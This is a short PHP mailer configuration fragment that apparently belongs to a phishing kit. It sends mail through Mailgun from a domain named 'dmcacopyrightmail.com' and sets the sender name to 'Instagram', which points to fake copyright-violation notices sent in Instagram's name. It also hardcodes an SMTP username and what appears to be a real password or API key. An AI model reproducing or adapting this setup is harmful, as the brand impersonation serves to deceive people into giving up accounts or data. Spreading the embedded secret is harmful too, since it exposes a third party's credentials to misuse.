$mail->Port = 587;
$mail->Host = "smtp.mailgun.org";
$mail->Username = "postmaster@dmcacopyrightmail.com";
$mail->Password = "bd1d4406968c04be93b3642cce14d8ba-2af183ba-50b86d7c";
$mail->SetFrom('postmaster@dmcacopyrightmail.com', 'Instagram');